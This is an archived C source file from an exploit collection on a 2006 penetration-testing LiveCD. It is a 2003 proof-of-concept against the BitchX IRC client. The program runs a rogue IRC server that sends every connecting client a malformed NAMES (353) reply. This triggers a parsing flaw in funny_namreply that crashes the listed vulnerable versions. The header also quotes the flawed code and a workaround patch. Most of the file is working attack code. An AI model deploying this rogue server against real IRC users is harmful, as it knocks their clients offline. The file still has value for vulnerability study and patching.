home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / bitchx / bitchx-353.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  105 lines

  1. /*
  2.  * bitchx-353.c
  3.  * --argv
  4.  * Jan/30/03
  5.  *
  6.  * Vulnerable:
  7.  *      BitchX-75p3
  8.  *      BitchX-1.0c16
  9.  *      BitchX-1.0c19
  10.  *      BitchX-1.0c20cvs
  11.  *
  12.  * Not Vulnerable:
  13.  *      BitchX-1.0c18   (So far..)
  14.  *
  15.  *
  16.  *  Workaround:
  17.  *      in function funny_namreply()
  18.  *      after the PasteArgs(Args, 2);
  19.  *      add in
  20.  *      -- snip --
  21.  *      if (Args[1] == NULL || Args[2] == NULL)
  22.  *                      return;
  23.  *      -- unsnip --
  24.  *
  25.  * ---- the vuln code of bx -----
  26.  *       PasteArgs(Args, 2);
  27.  *       type = Args[0];
  28.  *       channel = Args[1];
  29.  *       line = Args[2];
  30.  *
  31.  *       ptr = line;
  32.  *       while (*ptr)
  33.  *       {
  34.  *               while (*ptr && (*ptr != ' '))
  35.  *                       ptr++;
  36.  *               user_count++;
  37.  *               while (*ptr && (*ptr == ' '))
  38.  *                       ptr++;
  39.  *       }
  40.  * ------------------------------
  41.  *
  42.  * [panasync(panasync@colossus.melnibone.org)] you would hope the irc server would be a trusted source.
  43.  * [hellman(hellman@ipv6.gi-1.au.reroute.se)] 'Free porn at /server irc.owned.com'
  44.  *
  45.  */
  46.  
  47. #include <stdio.h>
  48. #include <stdlib.h>
  49. #include <unistd.h>
  50. #include <sys/types.h>
  51. #include <sys/socket.h>
  52. #include <netinet/in.h>
  53. #include <arpa/inet.h>
  54. #include <netdb.h>
  55.  
  56. static char shellcode[] = ":* 353 * =  :\n";    // <-- this could be something worse.
  57.  
  58. int acceptConnection(int fd)
  59. {
  60.    char *ip_addr;
  61.    int descriptor, sal;
  62.    struct sockaddr_in sa;
  63.    sal = sizeof(sa);
  64.    descriptor = accept(fd, (struct sockaddr *) &sa, &sal);
  65.    if (descriptor >= 0) {
  66.       ip_addr = inet_ntoa(sa.sin_addr);
  67.       printf("Connection from %s:%d\n", ip_addr, ntohs(sa.sin_port));
  68.    }
  69.    return descriptor;
  70. }
  71.  
  72.  
  73. int main(int argc, char **argv)
  74. {
  75.    int sock, serv, port;
  76.    struct sockaddr_in server;
  77.  
  78.    port = 6667;
  79.  
  80.    if (argc > 1)
  81.         port = atoi(argv[1]);
  82.  
  83.    memset(&server, 0, sizeof(server));
  84.    server.sin_port = htons(port);
  85.    server.sin_family = AF_INET;
  86.    server.sin_addr.s_addr = INADDR_ANY;
  87.  
  88.    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
  89.    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &serv, sizeof(int));
  90.  
  91.    if (bind(sock, (struct sockaddr *) &server, sizeof(struct sockaddr_in))
  92.        == -1) {
  93.       return 0;
  94.    }
  95.  
  96.    listen(sock, 1);
  97.  
  98.    while (1) {
  99.       serv = acceptConnection(sock);
  100.       write(serv, shellcode, strlen(shellcode));
  101.       close(serv);
  102.    }
  103.    return 0;
  104. }
  105.